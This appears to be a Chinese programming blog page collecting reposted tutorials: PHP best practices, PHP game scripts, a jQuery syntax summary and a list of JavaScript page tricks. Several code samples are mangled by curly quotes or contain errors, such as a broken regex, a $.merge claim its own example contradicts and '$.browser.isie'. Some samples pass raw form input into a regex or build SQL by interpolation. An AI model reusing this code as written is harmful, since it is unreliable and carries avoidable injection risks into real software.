- errorRedirect( $result ->getMessage(), true);
- else
- return $result ;
- }
这个函数仅接收一个查询语句并对其执行。它还处理可能出现的任何错误。你还可以在这儿包含审核代码,不过我更喜欢使用一个类似的审核函数:
- // checks if arguments given are integer values not less than 0 – has multiple arguments
- function sanitizeInput()
- {
- $numargs = func_num_args();
- $arg_list = func_get_args();
- for ( $i = 0; $i < $numargs ; $i ++) {
- if (! is_numeric ( $arg_list [ $i ]) || $arg_list [ $i ] < 0)
- errorRedirect( “Unexpected variable value” , true);
- }
- }
8、一个php文件处理输入,一个class.php文件处理具体功能
不让代码变得混乱的一个重要方法是:获取用户输入后,将其重定向到其它函数来进行处理。原理非常简单,php文件获得我们需要的任何输入,然后将其执行重定向到类文件中的一个函数。举例来讲,假设有一个类似”index.php?page=profile&action=display”的URL。由profile.php来检索该网址并得到操作是”display”。然后使用一个简单的switch函数,我们来执行真正的显示函数:
- require_once PROJECTROOT. ‘libs/messages.class.php’ ;
- $message = new Message();
- switch ( $action )
- {
- case ‘display’ :
- $message ->display();
- break ;
- …
如上所示,我使用了一个消息类,然后开始进行switch检查。$message只是被类中的调用函数使用的一个对象。
9、了解你的SQL语句,并总是对其审查(Sanitize)
正如我以前所提到的,任何php网站中最重要的部分有99%的可能是数据库。因此,你需要非常熟悉如何正确的使用sql。学会关联表和更多高级技术。下面我将展示一个使用MySQL的函数示例,并使用本文第7条函数进行审查。
- private function getSentMessages( $id )
- {
- $this ->util->sanitizeInput( $id );
- $pm_table = $GLOBALS [ 'config' ][ 'privateMsg' ];
- $users = $GLOBALS [ 'config' ][ 'users' ];
- $sql = “SELECT PM.*, USR.username as name_sender FROM $pm_table PM, $users USR
- WHERE id_sender = ‘$id’ AND sender_purge = FALSE AND USR.id = PM.id_receiver AND is_read = TRUE
- ORDER BY date_sent DESC”;
- $result = $this ->dbQueryAll( $sql );
- return $result ;
- }
首先,我们对用户输入进行检查(通过一个GET变量传递消息id),然后我们执行我们的SQL命令。注意这儿SQL的用法。你需要了解如何使用别名和关联表。
10、当你只需要一个对象时,使用单例模式
在PHP中相当常见的一种情形时,我们只需要创建一个对象一次,然后在我们的整个程序中使用它。一个很好的例子就是smarty变量,一旦被初始化后就可以在任何地方使用。这种情形的一个很好实现方案就是单例模式。示例代码如下:
- function smartyObject()
- {
- if ( $GLOBALS [ 'config' ][ 'SmartyObj' ] == 0)
- {
- $smarty = new SmartyGame();
- $GLOBALS [ 'config' ][ 'SmartyObj' ] = $smarty ;
- }
- else
- $smarty = $GLOBALS [ 'config' ][ 'SmartyObj' ];
- return $smarty ;
- }
注意,我们拥有一个全局smarty变量(该示例中它在config.php中被初始化),如果它的值为0,我们将创建一个新smarty对象。否则,它意味着该对象已经被创建,我们只需要返回它。
25个PHP游戏编程脚本代码【推荐】
作者: 如意 盒 | 发布时间: 星期五, 07/16/2010 - 08:05比较工整的查看页面:http://www.chinaz.com/Program/PHP/121410103H009_9.html
本文介绍的脚本易于理解、使用简单并可以快速掌握。简单的掷骰器许多游戏和游戏系统都需要骰子。让我们先从简单的部分入手:掷一个六面骰子。实际上,滚动一个六面骰子就是从 1 到 6 之间选择一个随机数字。在 PHP 中,这十分简单:echo rand(1,6);。在许多情况下,这基本上很简单。但是在处理机率游戏时,我们需要一些更好的实现。PHP 提供了更好的随机数字生成器:mt_rand()。在不深入研究两者差别的情况下,可以认为 mt_rand 是一个更快、更好的随机数字生成器:echo mt_rand(1,6);。如果把该随机数字生成器放入函数中,则效果会更好。清单 1. 使用 mt_rand() 随机数字生成器函数 function roll () { return mt_rand(1,6); } echo roll(); 然后可以把需要滚动的骰子类型作为参数传递给函数。清单 2. 将骰子类型作为参数传递 function roll ($sides) { return mt_rand(1,$sides); } echo roll(6); // roll a six-sided die echo roll(10); // roll a ten-sided die echo roll(20); // roll a twenty-sided die 从这里开始,我们可以继续根据需要一次滚动多个骰子,返回结果数组;也可以一次性滚动多个不同类型的骰子。但是大多数任务都可以使用这个简单的脚本。随机名称生成器如果正在运行游戏、编写故事或者一次性创建大批字符,有时会疲于应付不断出现的新名字。让我们看一看可用于解决此问题的一个简单随机名称生成器。首先,让我们创建两个简单数组 – 一个用于名字,一个用于姓氏。清单 3. 名字和姓氏的两个简单数组 $male = array( ”William”, ”Henry”, ”Filbert”, ”John”, ”Pat”, ); $last = array( ”Smith”, ”Jones”, ”Winkler”, ”Cooper”, ”Cline”, ); 然后就可以从每个数组中选择一个随机元素:echo $male[array_rand($male)] . ‘ ‘ . $last[array_rand($last)];。要一次性提取多个名称,只需混合数组并根据需要提取。清单 4. 混合名称数组 shuffle($male); shuffle($last); for ($i = 0; $i <= 3; $i++) { echo $male[$i] . ‘ ‘ . $last[$i]; } 基于此基本概念,我们可以创建保存名字和姓氏的文本文件。如果在文本文件的每一行中存放一个名字,则可以轻松地用换行符分隔文件内容以构建源代码数组。清单 5. 创建名称的文本文件 $male = explode(‘\n’, file_get_contents(‘names.female.txt’)); $last = explode(‘\n’, file_get_contents(‘names.last.txt’)); 构建或查找一些好的名字文件(代码归档 中附带了一些文件),此后我们绝不再需要为名字烦恼。场景生成器利用构建名字生成器使用的相同基本原理,我们可以构建场景生成器。此生成器不但在角色扮演游戏中十分有用,而且在需要用到伪随机环境集合(可用于角色扮演、即兴创作、写作等情况)的情况下也十分有用。我最喜欢的游戏之一,Paranoia 在其 GM Pack 中包括了 “任务混合器(mission blender)”。任务混合器可用于在快速滚动骰子时整合完整任务。让我们整合自己的场景生成器。考虑以下场景:您醒来后发现自己迷失于丛林中。您知道自己必须赶去纽约,但是不知道原因。您可以听到附近的狗叫声及清晰的敌方搜寻者的声音。您浑身发冷、不住颤抖,而且没有武器。该场景中的每一句话都介绍场景的特定方面: “您醒来后发现自己迷失于丛林中” – 这句话将建立设置。 “您知道自己必须赶去纽约” – 这句话将描述目标。 “您可以听到狗叫声” – 这句话将介绍敌人。 “您浑身发冷、不住颤抖,而且没有武器” – 这句话将添加复杂度。就像创建名字和姓氏的文本文件一样,首先分别创建设置、目标、敌人和复杂度的文本文件。代码归档中附带了样例文件。在拥有这些文件后,生成场景的代码与生成名称的代码基本相同。清单 6. 生成场景 $settings = explode(“\n”, file_get_contents(’scenario.settings.txt’)); $objectives = explode(“\n”, file_get_contents(’scenario.objectives.txt’)); $antagonists = explode(“\n”, file_get_contents(’scenario.antagonists.txt’)); $complicati**** = explode(“\n”, file_get_contents(’scenario.complicati****.txt’)); shuffle($settings); shuffle($objectives); shuffle($antagonists); shuffle($complicati****); echo $settings[0] . ‘ ‘ . $objectives[0] . ‘ ‘ . $antagonists[0] . ‘ ‘ . $complicati****[0] . ”
\n”; 我们可以通过添加新文本文件向场景中添加元素,也可能希望添加多重复杂度。添加到基本文本文件中的内容越多,场景随时间的变化就越多。牌组创建器(Deck builder)和装备(shuffler)如果您要玩纸牌并且要处理与纸牌相关的脚本,我们需要用装备中的工具整合一副牌组构建器。首先,让我们构建一副标准纸牌。需要构建两个数组 – 一个用于保存同花色的组牌,而另一个用于保存牌面。如果稍后需要添加新组牌或牌类型,则这样做将获得很好的灵活性。清单 7. 构建一副标准扑克牌 $suits = array ( ”Spades”, “Hearts”, “Clubs”, “Diamonds” ); $faces = array ( ”Two”, “Three”, “Four”, “Five”, “Six”, “Seven”, “Eight”, ”Nine”, “Ten”, “Jack”, “Queen”, “King”, “Ace” ); 然后构建一副牌数组来保存所有纸牌值。只需使用一对 foreach 循环即可完成此操作。清单 8. 构建一副牌数组 $deck = array(); foreach ($suits as $suit) { foreach ($faces as $face) { $deck[] = array (“face”=>$face, “suit”=>$suit); } } 在构建了一副扑克牌数组后,我们可以轻松地洗牌并随机抽出一张牌。清单 9. 洗牌并随机抽出一张牌 shuffle($deck); $card = array_shift($deck); echo $card['face'] . ‘ of ‘ . $card['suit']; 现在,我们就获得了抽取多副牌或构建多层牌盒(multideck shoe)的捷径。胜率计算器:发牌由于构建扑克牌时会分别跟踪每张牌的牌面和花色,因此可以通过编程方式利用这副牌来计算得到特定牌的几率。首先每只手分别抽出五张牌。清单 10. 每只手抽出五张牌 $hands = array(1 => array(), 2=>array()); for ($i = 0; $i < 5; $i++) { $hands[1][] = implode(” of “, array_shift($deck)); $hands[2][] = implode(” of “, array_shift($deck)); } 然后可以查看这副牌,看看剩余多少张牌以及抽到特定牌的机率是多少。查看剩余的牌数十分简单。只需要计算 $deck 数组中包含的元素数。要获得抽到特定牌的机率,我们需要一个函数来遍历整副牌并估算其余牌以查看是否匹配。清单 11. 计算抽到特定牌的几率 function calculate_odds($draw, $deck) { $remaining = count($deck); $odds = 0; foreach ($deck as $card) { if ( ($draw['face'] == $card['face'] && $draw['suit'] == $card['suit'] ) || ($draw['face'] == ” && $draw['suit'] == $card['suit'] ) || ($draw['face'] == $card['face'] && $draw['suit'] == ” ) ) { $odds++; } } return $odds . ‘ in ‘ $remaining; } 现在可以选出尝试抽出的牌。为了简单起见,传入看上去类似某张牌的数组。我们可以查找特定的一张牌。清单 12. 查找指定的一张牌 $draw = array(‘face’ => ‘Ace’, ’suit’ => ‘Spades’); echo implode(” of “, $draw) . ‘ : ‘ . calculate_odds($draw, $deck); 或者可以查找指定牌面或花色的牌。清单 13. 查找指定牌面或花色的牌 $draw = array(‘face’ => ”, ’suit’ => ‘Spades’); $draw = array(‘face’ => ‘Ace’, ’suit’ => ”); 简单的扑克发牌器现在已经得到牌组构建器和一些工具,可以帮助计算出抽出特定卡的机率,我们可以整合一个真正简单的发牌器来进行发牌。出于本例的目的,我们将构建一个可以抽出五张牌的发牌器。发牌器将从整副牌中提供五张牌。使用数字指定需要放弃哪些牌,并且发牌器将用一副牌中的其他牌替换这些牌。我们无需指定发牌限制或特殊规则,但是您可能会发现这些是非常有益的个人经验。如上一节所示,生成并洗牌,然后每只手五张牌。按数组索引显示这些牌,以便可以指定返回哪些牌。您可以使用表示要替换哪些牌的复选框来完成此操作。清单 14. 使用复选框表示要替换的牌 foreach ($hand as $index =>$card) { echo ” ” . $card['face'] . ‘ of ‘ . $card['suit'] . ”
“; } 然后,计算输入 array $_POST['card'],查看哪些牌已被选择用于替换。清单 15. 计算输入 $i = 0; while ($i < 5) { if (isset($_POST['card'][$i])) { $hand[$i] = array_shift($deck); } } 使用此脚本,您可以尝试找到处理特定一组牌的最佳方法。 Hangman 游戏 Hangman 实质上是一款猜字游戏。给定单词的长度,我们使用有限的几次机会猜这个单词。如果猜出了出现在该单词中的一个字母,则填充该字母出现的所有位置。在猜错若干次(通常为六次)后,您就输了比赛。要构建一个简陋的 hangman 游戏,我们需要从单词列表开始。现在,让我们把单词列表制作成一个简单的数组。清单 16. 创建单词列表 $words = array ( ”giants”, ”triangle”, ”particle”, ”birdhouse”, ”minimum”, ”flood” ); 使用前面介绍的技术,我们可以把这些单词移动到外部单词列表文本文件中,然后根据需要导入。在得到单词列表后,需要随机选出一个单词,将每个字母显示为空,然后开始猜测。我们需要在每次进行猜测时跟踪正确和错误的猜测。只需序列化猜测数组并在每次猜测时传递它们,就可实现跟踪目的。如果需要阻止人们通过查看页面源代码侥幸猜对,则需要执行一些更安全的操作。构建数组以保存字母和正确/错误的猜测。对于正确的猜测,我们将用字母作为键并用句点作为值填充数组。清单 17. 构建保存字母和猜测结果的数组 $letters = array(‘a’,'b’,'c’,'d’,'e’,'f’,'g’,'h’,'i’,'j’,'k’,'l’,'m’,'n’,'o’, ’p',’q',’r',’s’,'t’,'u’,'v’,'w’,'x’,'y’,'z’); $right = array_fill_keys($letters, ‘.’); $wrong = array(); 现在需要一些代码来评估猜测并在完成猜字游戏的过程中显示该单词。清单 18. 评估猜测并显示进度 if (stristr($word, $guess)) { $show = ”; $right[$guess] = $guess; $wordletters = str_split($word); foreach ($wordletters as $letter) { $show .= $right[$letter]; } } else { $show = ”; $wrong[$guess] = $guess; if (count($wrong) == 6) { $show = $word; } else { foreach ($wordletters as $letter) { $show .= $right[$letter]; } } } 在源代码归档 中,可以看到如何序列化猜测数组并将该数组从一次猜测传递到另一次猜测中。纵横字谜助手我知道这样做不合适,但是有时在玩纵横拼字谜时,您不得不费劲地找出以 C 开头并以 T 结尾、包含五个字母的单词。使用为 Hangman 游戏构建的相同单词列表,我们可以轻松地搜索符合某个模式的单词。首先,找到一种传输单词的方法。为了简单起见,用句点替换缺少的字母:$guess = “c…t”;。由于正则表达式将把句点处理为单个字符,因此我们可以轻松地遍历单词列表以查找匹配。清单 19. 遍历单词列表 foreach ($words as $word) { if (preg_match(“/^” . $_POST['guess'] . “$/”,$word)) { echo $word . ”
\n”; } } 根据单词列表的质量及猜测的准确度,我们应当能够得到合理的单词列表以用于可能的匹配。您必须自己决定 “表示 ‘不按规则玩’ 的由五个字母组成的单词” 的谜底是 “chest” 还是 “cheat”。米德里比斯米德里比斯是一款文字游戏,玩家在游戏中得到一个简短的故事并用同一类型的不同单词替换主要类型的单词,从而创建同一个故事的更无聊的新版本。阅读以下文本:”I was walking in the park when I found a lake. I jumped in and swallowed too much water. I had to go to the hospital.” 开始用其他单词标记替换单词类型。开始和结束标记带有下划线用于阻止意外的字符串匹配。清单 20. 用单词标记替换单词类型 $text = “I was _VERB_ing in the _PLACE_ when I found a _NOUN_. I _VERB_ed in, and _VERB_ed too much _NOUN_. I had to go to the _PLACE_.”; 接下来,创建几个基本单词列表。对于本例,我们也不会做得太复杂。清单 21. 创建几个基本单词列表 $verbs = array(‘pump’, ‘jump’, ‘walk’, ’swallow’, ‘crawl’, ‘wail’, ‘roll’); $places = array(‘park’, ‘hospital’, ‘arctic’, ‘ocean’, ‘grocery’, ‘basement’, ’attic’, ’sewer’); $nouns = array(‘water’, ‘lake’, ’spit’, ‘foot’, ‘worm’, ’dirt’, ‘river’, ‘wankel rotary engine’); 现在可以重复地评估文本来根据需要替换标记。清单 22. 评估文本 while (preg_match(“/(_VERB_)|(_PLACE_)|(_NOUN_)/”, $text, $matches)) { switch ($matches[0]) { case ‘_VERB_’ : shuffle($verbs); $text = preg_replace($matches[0], current($verbs), $text, 1); break; case ‘_PLACE_’ : shuffle($places); $text = preg_replace($matches[0], current($places), $text, 1); break; case ‘_NOUN_’ : shuffle($nouns); $text = preg_replace($matches[0], current($nouns), $text, 1); break; } } echo $text; 很明显,这是一个简单而粗糙的示例。单词列表越精确,并且花在基本文本上的时间越多,结果就越好。我们已经使用了文本文件创建名称列表及基本单词列表。使用相同原则,我们可以创建按类型划分的单词列表并使用这些单词列表创建更加变化多端的米德里比斯游戏。乐透机全部选中乐透的六个正确号码 — 退一步说 — 在统计学上是不可能的。不过,许多人仍然花钱去玩,而且如果您喜欢号码,则查看趋势图可能很有趣。让我们构建一个脚本,该脚本将允许跟踪赢奖号码并在列表中提供选择次数最少的 6 个号码。(免责声明:这不会帮助您中乐透奖,因此请不要花钱购买奖券。这只是为了娱乐)。把赢奖的乐透选择保存到文本文件中。用逗号分隔各个号码并把每组号码放在单独一行中。使用换行符分隔文件内容并使用逗号分隔行后,可以得到类似清单 23 的内容。清单 23. 把选择的赢奖乐透保存到文本文件中 $picks = array( array(‘6′, ‘10′, ‘18′, ‘21′, ‘34′, ‘40′), array(‘2′, ‘8′, ‘13′, ‘22′, ‘30′, ‘39′), array(‘3′, ‘9′, ‘14′, ‘25′, ‘31′, ‘35′), array(‘11′, ‘12′, ‘16′, ‘24′, ‘36′, ‘37′), array(‘4′, ‘7′, ‘17′, ‘26′, ‘32′, ‘33′) ); 很明显,这不足以成为绘制统计数据的基本文件。但是它是一个开端,并且足以演示基本原理。设置一个基本数组以保存选择范围。例如,如果选择 1 到 40 之间(例如,$numbers = array_fill(1,40,0);)的号码,则遍历我们的选择,递增相应的匹配值。清单 24. 遍历选择 foreach ($picks as $pick) { foreach ($pick as $number) { $numbers[$number]++; } } 最后,根据值将号码排序。此操作应当会把最少选择的号码放在数组的前部。清单 25. 根据值将号码排序 asort($numbers); $pick = array_slice($numbers,0,6,true); echo implode(‘,’, array_keys($pick)); 通过有规律地向包含中奖号码列表的文本文件添加实际的乐透中奖号码,可以发现选号的长期趋势。查看某些号码的出现频率十分有趣。
jQuery语法总结和注意事项(节摘)
作者: 如意 盒 | 发布时间: 星期五, 07/16/2010 - 08:05 1、关于页面元素的引用
通过jquery的$()引用元素包括通过id、class、元素名以及元素的层级关系及dom或者xpath条件等方法,且返回的对象为jquery对象(集合对象),不能直接调用dom定义的方法。
2、jQuery对象与dom对象的转换
只有jquery对象才能使用jquery定义的方法。注意dom对象和jquery对象是有区别的,调用方法时要注意操作的是dom对象还是jquery对象。
普通的dom对象一般可以通过$()转换成jquery对象。
如:$(document.getElementById(“msg”))则为jquery对象,可以使用jquery的方法。
由于jquery对象本身是一个集合。所以如果jquery对象要转换为dom对象则必须取出其中的某一项,一般可通过索引取出。
如:$(“#msg”)[0],$(“div”).eq(1)[0],$(“div”).get()[1],$(“td”)[5]这些都是dom对象,可以使用dom中的方法,但不能再使用Jquery的方法。
以下几种写法都是正确的:
$(“#msg”)[0].innerHTML;
$(“#msg”).eq(0)[0].innerHTML;
$(“#msg”).get(0).innerHTML;
3、如何获取jQuery集合的某一项
对于获取的元素集合,获取其中的某一项(通过索引指定)可以使用eq或get(n)方法或者索引号获取,要注意,eq返回的是jquery对象,而get(n)和索引返回的是dom元素对象。对于jquery对象只能使用jquery的方法,而dom对象只能使用dom的方法,如要获取第三个<div>元素的内容。有如下两种方法:
$(“div”).get(2).innerHTML; //调用dom的方法属性
4、同一函数实现set和get
Jquery中的很多方法都是如此,主要包括如下几个:
$(“#msg”).html(); //返回id为msg的元素节点的html内容。
$(“#msg”).html(“<b>new content</b>”);
//将”<b>new content</b>” 作为html串写入id为msg的元素节点内容中,页面显示粗体的new content
$(“#msg”).text(); //返回id为msg的元素节点的文本内容。
$(“#msg”).text(“<b>new content</b>”);
//将”<b>new content</b>” 作为普通文本串写入id为msg的元素节点内容中,页面显示<b>new content</b>
$(“#msg”).height(); //返回id为msg的元素的高度
$(“#msg”).height(“300″); //将id为msg的元素的高度设为300
$(“#msg”).width(); //返回id为msg的元素的宽度
$(“#msg”).width(“300″); //将id为msg的元素的宽度设为300
$(“input”).val(“); //返回表单输入框的value值
$(“input”).val(“test”); //将表单输入框的value值设为test
$(“#msg”).click(); //触发id为msg的元素的单击事件
$(“#msg”).click(fn); //为id为msg的元素单击事件添加函数
同样blur,focus,select,submit事件都可以有着两种调用方法
5、集合处理功能
对于jquery返回的集合内容无需我们自己循环遍历并对每个对象分别做处理,jquery已经为我们提供的很方便的方法进行集合的处理。
包括两种形式:
//为索引分别为0,1,2的p元素分别设定不同的字体颜色。
$(“tr”).each(function(i){this.style.backgroundColor=['#ccc','#fff'][i%2]})
//实现表格的隔行换色效果
$(“p”).click(function(){alert($(this).html())})
//为每个p元素增加了click事件,单击某个p元素则弹出其内容
6、扩展我们需要的功能
min: function(a, b){return a < b?a:b; },
max: function(a, b){return a > b?a:b; }
}); //为jquery扩展了min,max两个方法
使用扩展的方法(通过”$.方法名”调用):
alert(“a=10,b=20,max=”+$.max(10,20)+”,min=”+$.min(10,20));
7、支持方法的连写
所谓连写,即可以对一个jquery对象连续调用各种不同的方法。
例如:
$(“p”).click(function(){alert($(this).html())})
.mouseover(function(){alert(‘mouse over event’)})
.each(function(i){this.style.color=['#f00','#0f0','#00f'][i]});
8、操作元素的样式
主要包括以下几种方式:
$(“#msg”).css(“background”); //返回元素的背景颜色
$(“#msg”).css(“background”,”#ccc”) //设定元素背景为灰色
$(“#msg”).height(300); $(“#msg”).width(“200″); //设定宽高
$(“#msg”).css({ color: “red”, background: “blue” });//以名值对的形式设定样式
$(“#msg”).addClass(“select”); //为元素增加名称为select的class
$(“#msg”).removeClass(“select”); //删除元素名称为select的class
$(“#msg”).toggleClass(“select”); //如果存在(不存在)就删除(添加)名称为select的class
9、完善的事件处理功能
Jquery已经为我们提供了各种事件处理方法,我们无需在html元素上直接写事件,而可以直接为通过jquery获取的对象添加事件。
如:
$(“#msg”).click(function(){alert(“good”)}) //为元素添加了单击事件
$(“p”).click(function(i){this.style.color=['#f00','#0f0','#00f'][i]})
//为三个不同的p元素单击事件分别设定不同的处理
jQuery中几个自定义的事件:
(1)hover(fn1,fn2):一个模仿悬停事件(鼠标移动到一个对象上面及移出这个对象)的方法。当鼠标移动到一个匹配的元素上面时,会触发指定的第一个函数。当鼠标移出这个元素时,会触发指定的第二个函数。
//当鼠标放在表格的某行上时将class置为over,离开时置为out。
$(“tr”).hover(function(){
$(this).addClass(“over”);
},
function(){
$(this).addClass(“out”);
});
(2)ready(fn):当DOM载入就绪可以查询及操纵时绑定一个要执行的函数。
$(document).ready(function(){alert(“Load Success”)})
//页面加载完毕提示”Load Success”,相当于onload事件。与$(fn)等价
(3)toggle(evenFn,oddFn): 每次点击时切换要调用的函数。如果点击了一个匹配的元素,则触发指定的第一个函数,当再次点击同一元素时,则触发指定的第二个函数。随后的每次点击都重复对这两个函数的轮番调用。
//每次点击时轮换添加和删除名为selected的class。
$(“p”).toggle(function(){
$(this).addClass(“selected”);
},function(){
$(this).removeClass(“selected”);
});
(4)trigger(eventtype): 在每一个匹配的元素上触发某类事件。
例如:
$(“p”).trigger(“click”); //触发所有p元素的click事件
(5)bind(eventtype,fn),unbind(eventtype): 事件的绑定与反绑定
从每一个匹配的元素中(添加)删除绑定的事件。
例如:
$(“p”).bind(“click”, function(){alert($(this).text());}); //为每个p元素添加单击事件
$(“p”).unbind(); //删除所有p元素上的所有事件
$(“p”).unbind(“click”) //删除所有p元素上的单击事件
10、几个实用特效功能
其中toggle()和slidetoggle()方法提供了状态切换功能。
如toggle()方法包括了hide()和show()方法。
slideToggle()方法包括了slideDown()和slideUp方法。
11、几个有用的jQuery方法
$.browser.浏览器类型:检测浏览器类型。有效参数:safari, opera, msie, mozilla。如检测是否ie:$.browser.isie,是ie浏览器则返回true。
$.each(obj, fn):通用的迭代函数。可用于近似地迭代对象和数组(代替循环)。
如
$.each( [0,1,2], function(i, n){ alert( “Item #” + i + “: ” + n ); });
等价于:
var tempArr=[0,1,2];
for(var i=0;i<tempArr.length;i++){
alert(“Item #”+i+”: “+tempArr[i]);
}
也可以处理json数据,如
$.each( { name: “John”, lang: “JS” }, function(i, n){ alert( “Name: ” + i + “, Value: ” + n ); });
结果为:
Name:name, Value:John
Name:lang, Value:JS
$.extend(target,prop1,propN):用一个或多个其他对象来扩展一个对象,返回这个被扩展的对象。这是jquery实现的继承方式。
如:
$.extend(settings, options);
//合并settings和options,并将合并结果返回settings中,相当于options继承setting并将继承结果保存在setting中。
var settings = $.extend({}, defaults, options);
//合并defaults和options,并将合并结果返回到setting中而不覆盖default内容。
可以有多个参数(合并多项并返回)
$.map(array, fn):数组映射。把一个数组中的项目(处理转换后)保存到到另一个新数组中,并返回生成的新数组。
如:
var tempArr=$.map( [0,1,2], function(i){ return i + 4; });
tempArr内容为:[4,5,6]
var tempArr=$.map( [0,1,2], function(i){ return i > 0 ? i + 1 : null; });
tempArr内容为:[2,3]
$.merge(arr1,arr2):合并两个数组并删除其中重复的项目。
如:$.merge( [0,1,2], [2,3,4] ) //返回[0,1,2,2,3,4]
$.trim(str):删除字符串两端的空白字符。
如:$.trim(” hello, how are you? “); //返回”hello,how are you? ”
12、解决自定义方法或其他类库与jQuery的冲突
很多时候我们自己定义了$(id)方法来获取一个元素,或者其他的一些js类库如prototype也都定义了$方法,如果同时把这些内容放在一起就会引起变量方法定义冲突,Jquery对此专门提供了方法用于解决此问题。
使用jquery中的jQuery.noConflict();方法即可把变量$的控制权让渡给第一个实现它的那个库或之前自定义的$方法。之后应用 Jquery的时候只要将所有的$换成jQuery即可,如原来引用对象方法$(“#msg”)改为jQuery(“#msg”)。
如:
jQuery.noConflict();
// 开始使用jQuery
jQuery(“div p”).hide();
// 使用其他库的 $()
$(“content”).style.display = ‘none’;
转载:http://www.webjx.com/JavaScript/20071109/javascript_js_866_3.html
Javascript中最常用的55个经典技巧
作者: 如意 盒 | 发布时间: 星期三, 06/16/2010 - 21:02 1. oncontextmenu=”window.event.returnValue=false” 将彻底屏蔽鼠标右键
<table border oncontextmenu=return(false)> <td>no </table> 可用于Table
2. <body onselectstart=”return false”> 取消选取、防止复制
3. onpaste=”return false” 不准粘贴
4. oncopy=”return false;” oncut=”return false;” 防止复制
5. <link rel=”Shortcut Icon” href=”favicon.ico”> IE地址栏前换成自己的图标
6. <link rel=”Bookmark” href=”favicon.ico”> 可以在收藏夹中显示出你的图标
7. <input style=”ime-mode:disabled”> 关闭输入法
8. 永远都会带着框架
<script language=”JavaScript”> <!–
if (window == top)top.location.href = “frames.htm”; //frames.htm为框架网页
// –> </script>
9. 防止被人frame
<SCRIPT LANGUAGE=JAVASCRIPT> <!–
if (top.location != self.location)top.location=self.location;
// –> </SCRIPT>
10. 网页将不能被另存为
<noscript> <*** src=”/*.html>”; </***> </noscript>
11. <input type=button value=”/查看网页源代码
onclick=”window.location = “view-source:”+ “http://www.pconline.com.cn”">
12.删除时确认
<a href=”"javascript :if(confirm(“确实要删除吗?”))location=”boos.asp?&areyou=删除&page=1″”>删除 </a>
13. 取得控件的绝对位置
//Javascript
<script language=”Javascript”>
function getIE(e){
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent){
t+=e.offsetTop;
l+=e.offsetLeft;
}
alert(“top=”+t+”/nleft=”+l);
}
</script>
//VBScript
<script language=”VBScript”> <!–
function getIE()
dim t,l,a,b
set a=document.all.img1
t=document.all.img1.offsetTop
l=document.all.img1.offsetLeft
while a.tagName <>”BODY”
set a = a.offsetParent
t=t+a.offsetTop
l=l+a.offsetLeft
wend
msgbox “top=”&t&chr(13)&”left=”&l,64,”得到控件的位置”
end function
–> </script>
14. 光标是停在文本框文字的最后
<script language=”javascript”>
function cc()
{
var e = event.srcElement;
var r =e.createTextRange();
r.moveStart(“character”,e.value.length);
r.collapse(true);
r.select();
}
</script>
<input type=text name=text1 value=”123″ onfocus=”cc()”>
15. 判断上一页的来源
javascript :
document.referrer
16. 最小化、最大化、关闭窗口
<object id=hh1 classid=”clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11″>
<param name=”Command” value=”Minimize”> </object>
<object id=hh2 classid=”clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11″>
<param name=”Command” value=”Maximize”> </object>
<OBJECT id=hh3 classid=”clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11″>
<PARAM NAME=”Command” value=”/Close”> </OBJECT>
<input type=button value=”/最小化 onclick=hh1.Click()>
<input type=button value=”/demoblog/最大化 onclick=hh2.Click()>
<input type=button value=关闭 onclick=hh3.Click()>
本例适用于IE
17.屏蔽功能键Shift,Alt,Ctrl
<script>
function look(){
if(event.shiftKey)
alert(“禁止按Shift键!”); //可以换成ALT CTRL
}
document.onkeydown=look;
</script>
18. 网页不会被缓存
<META HTTP-EQUIV=”pragma” CONTENT=”no-cache”>
<META HTTP-EQUIV=”Cache-Control” CONTENT=”no-cache, must-revalidate”>
<META HTTP-EQUIV=”expires” CONTENT=”Wed, 26 Feb 1997 08:21:57 GMT”>
或者 <META HTTP-EQUIV=”expires” CONTENT=”0″>
19.怎样让表单没有凹凸感?
<input type=text style=”"”border:1 solid #000000″>
或
<input type=text style=”border-left:none; border-right:none; border-top:none; border-bottom:
1 solid #000000″> </textarea>
20. <div> <span>& <layer>的区别?
<div>(division)用来定义大段的页面元素,会产生转行
<span>用来定义同一行内的元素,跟 <div>的唯一区别是不产生转行
<layer>是ns的标记,ie不支持,相当于 <div>
21.让弹出窗口总是在最上面:
<body onblur=”this.focus();”>
22.不要滚动条?
让竖条没有:
<body style=”overflow:scroll;overflow-y:hidden”>
</body>
让横条没有:
<body style=”overflow:scroll;overflow-x:hidden”>
</body>
两个都去掉?更简单了
<body scroll=”no”>
</body>
23.怎样去掉图片链接点击后,图片周围的虚线?
<a href=”#” onFocus=”this.blur()”> <img src=”/logo.jpg” border=0> </a>
24.电子邮件处理提交表单
<form name=”form1″ method=”post” action=mailto:****@***.com
enctype=”text/plain”>
<input type=submit>
</form>
25.在打开的子窗口刷新父窗口的代码里如何写?
window.opener.location.reload()
26.如何设定打开页面的大小
<body onload=”top.resizeTo(300,200);”>
打开页面的位置 <body onload=”top.moveBy(300,200);”>
27.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动
<STYLE>
body
{background-image:url(/logo.gif); background-repeat:no-repeat;
background-position:center;background-attachment: fixed}
</STYLE>
28. 检查一段字符串是否全由数字组成
<script language=”Javascript”> <!–
function checkNum(str){return str.match(//D/)==null}
alert(checkNum(“1232142141″))
alert(checkNum(“123214214a1″))
// –> </script>
29. 获得一个窗口的大小
document.body.clientWidth; document.body.clientHeight
30. 怎么判断是否是字符
if (/[^/x00-/xff]/g.test(s)) alert(“含有汉字”);
else alert(“全是字符”);
31.TEXTAREA自适应文字行数的多少
<textarea rows=1 name=s1 cols=27 onpropertychange
=”this.style.posHeight=this.scrollHeight”>
</textarea>
32. 日期减去天数等于第二个日期
<script language=Javascript>
function cc(dd,dadd)
{
//可以加上错误处理
var a = new Date(dd)
a = a.valueOf()
a = a – dadd * 24 * 60 * 60 * 1000
a = new Date(a)
alert(a.getFullYear() + “年” + (a.getMonth() + 1) + “月” + a.getDate() + “日”)
}
cc(“12/23/2002″,2)
</script>
33. 选择了哪一个Radio
<HTML> <script language=”vbscript”>
function checkme()
for each ob in radio1
if ob.checked then
window.alert ob.value
next
end function
</script> <BODY>
<INPUT name=”radio1″ type=”radio” value=”/style” checked>Style
<INPUT name=”radio1″ type=”radio” value=”/demoblog/barcode”>Barcode
<INPUT type=”button” value=”check” onclick=”checkme()”>
</BODY> </HTML>
34.脚本永不出错
<SCRIPT LANGUAGE=”JavaScript”>
<!– Hide
function killErrors() {
return true;
}
